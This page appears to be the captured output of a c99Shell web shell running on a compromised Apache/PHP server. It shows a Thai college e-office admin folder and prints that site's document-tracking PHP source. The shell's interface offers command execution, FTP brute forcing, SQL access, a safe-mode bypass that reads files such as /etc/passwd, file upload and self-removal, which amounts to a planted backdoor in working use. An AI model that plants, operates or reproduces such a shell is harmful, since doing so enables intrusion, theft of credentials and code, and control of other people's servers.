!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/eoffice/admin/   drwxr-xr-x
Free 50.91 GB of 127.8 GB (39.84%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     checkStatusDocSendReceiveTable.php (2.43 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
set_time_limit
(0);
include_once(
"../../class/clsConnection.php");
include_once(
"../../class/clsDB.php");
include_once 
"../global.php";
include_once 
"../class/clsSendReceive.php";
include_once 
"../class/clsCollegeDetail.php";
include_once 
"../class/clsCollegeDetail.php";
include_once 
"../link/keyThai.php";
include_once 
"../link/functionshow.php";
include_once 
"../link/function.php";
include_once 
"funct.php";

$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oTsr = new sendreceive($oC);
$oTsr2 = new sendreceive($oC);
$oTsr3 = new sendreceive($oC);
$oTsr4 = new sendreceive($oC);
$oCd = new collegedetail($oC);
?>

<html>
<head>
<title>ตรวจสอบการลงรับหนังสือ</title>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>
<body bgcolor="#F9FCFF"><br>
<table width="90%" align="center">
<tr>
    <td><strong><img src="../picture/download.gif"> <font size="2">ตรวจสอบการลงรับหนังสือ</font></strong></td>
  </tr>

<?



    $oTsr
->SearchByKey($tsr_id);
    
$oTsr->GetRecord();

    
$oCd->SearchByKey($oTsr->tsr_to_node);
    
$oCd->GetRecord();    

    
$msg='?fn=checkreceive&tsr_id_send='.$tsr_id.'&tsr_fr_node='.$oTsr->tsr_fr_node;
                                                            
    if(
$oTsr->tsr_to_node==99){ 
            
$folder=$GLOBALS["FOLDERFORSEND1"];
    }else if(
$oTsr->tsr_to_node==8){ 
            
$folder=$GLOBALS["FOLDERFORSEND3"]; 
    }else{ 
            
$folder=$GLOBALS["FOLDERFORSEND2"]; 
    }
    echo 
"<tr><td>&nbsp;เรื่อง :: ".$oTsr->tsr_DocSubject."</td></tr>";                                
    
$path_send='http://'.$oCd->collegeHost.'/'.$folder.'/'.'eoffice/admin/receiveTSR.php'.$msg;
    
$res=file_get_contents($path_send); 
    if(
$res!=""){
        list(
$tsr_receive,$tsr_receivedate) = preg_split('[%]',$res);
        
$tsr_receivedate=str_replace ('_',' ',$tsr_receivedate);

        if(
$tsr_receive=="Y"){ 
            
$status="ลงรับหนังสือแล้ว"
        }else if(
$tsr_receive=="N"){ 
            
$status="ไม่ลงรับหนังสือ";
        }else if(
$tsr_receive=="R"){ 
            
$status="แจ้งส่งผิด";
        }
        list(
$DocD,$DocT) = preg_split('[ ]',$tsr_receivedate);
        
$timereceive=abbreDate2($DocD,'/')."&nbsp;".a2th($DocT);

        echo 
"<tr><td>&nbsp;สถานะ :: ".$status."&nbsp;(".$timereceive.")";
        echo 
"</td></tr>";    
                        
        
$oTsr->Edit();
        
$oTsr->tsr_status='s3';
        
$oTsr->tsr_receive=$tsr_receive;
        
$oTsr->tsr_receivedate=$tsr_receivedate;
        
$oTsr->Save();
    }else{
        echo 
"<tr><td>&nbsp;สถานะ :: - ";
        echo 
"</td></tr>";    
    }

echo 
"</table>";
?>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0144 ]--